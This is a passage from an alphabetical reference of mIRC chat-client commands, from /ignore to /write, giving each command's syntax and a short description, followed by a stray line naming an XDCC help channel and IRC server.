/ignore [on|off|nickname|address] Toggles ignoring of a nick or address or sets it on or off
totally.
/invite {nickname} {#channel} Invites another user to a channel.
/join {#channel} Makes you join the specified channel.
/kick {#channel} {nickname} Kicks nickname off a given channel.
/list [#string] [-min #] [-max #] Lists all currently available channels, evt. filtering for
parameters.
/log [on|off] Shows the logging status or sets it on or off for the current window.
/me {action text} Sends the specifed action to the active channel or query window.
/mode {#channel|nickname} [[+|-]modechars [parameters]] Sets channel or user modes.
/msg {nickname} {message} Send a private message to this user without opening a query window.
/names {#channel} Shows the nicks of all people on the given channel.
/nick {new nickname} Changes your nickname to whatever you like.
/notice {nick} {message} Send the specified notice message to the nick.
/notify [on|off|nickname] Toggles notifying you of a nick on IRC or sets it on or off totally.
/onotice [#channel] {message} Send the specified notice message to all channel ops.
/omsg [#channel] {message} Send the specified message to all ops on a channel.
/part {#channel} Makes you leave the specified channel.
/partall Makes you leave all channels you are on.
/ping {server address} Pings the given server. NOT a nickname.
/play [-c] {filename} [delay] Allows you to send text files to a window.
/pop {delay} [#channel] {nickname} Performs a randomly delayed +o on a not already opped nick.
/protect [on|off|nickname|address] Toggles protection of a nick or address or sets it on or off
totally.
/query {nickname} {message} Open a query window to this user and send them the private message.
/quit [reason] Disconnect you from IRC with the optional byebye message.
/raw {raw command} Sends any raw command you supply directly to the server. Use it with care!!
/remote [on|off] Shows the remote commands status or sets it to listening or not.
/rlevel {access level} Removes all users from the remote users list with the specified access
level.
/run {c:\path\program.exe} [parameters] Runs the specified program, evt. with parameters.
/ruser {nick[!]|address} [type] Removes the user from the remote users list.
/save {filename.ini} Saves remote sections into a specified INI file.
/say {text} Says whatever you want to the active window.
/server [server address [port] [password]] Reconnects to the previous server or a newly
specified one.
/sound [nickname|#channel] {filename.wav} {action text} Sends an action and a fitting sound.
/speak {text} Uses the external text to speech program Monologue to speak up the text.
/sreq [ask | auto | ignore] Sets your DCC 'On Send request' settings in DCC/Options.
/time Tells you the time on the server you use.
/timer[N] {repetitions} {interval in seconds} {command} [| {more commands}] Activates a timer.
/topic {#channel} {newtopic} Changes the topic for the specified channel.
/ulist [{|}]{level} Lists all users in the remote list with the specified access levels.
/url [-d] Opens the URL windows that allows you to surf the www parallel to IRC.
/uwho [nick] Pops up the user central with information about the specified user.
/who {#channel} Shows the nicks of all people on the given channel.
/who {*address.string*} Shows all people on IRC with a matching address.
/whois {nickname} Shows information about someone in the status window.
/whowas {nickname} Shows information about someone who -just- left IRC.
/wavplay {c:\path\sound.wav} Locally plays the specified wave file.
/write [-cidl] {filename} [text] To write the specified text to a .txt file.
MoViEBoT #xdcc-help /server irc.atomic-irc.net
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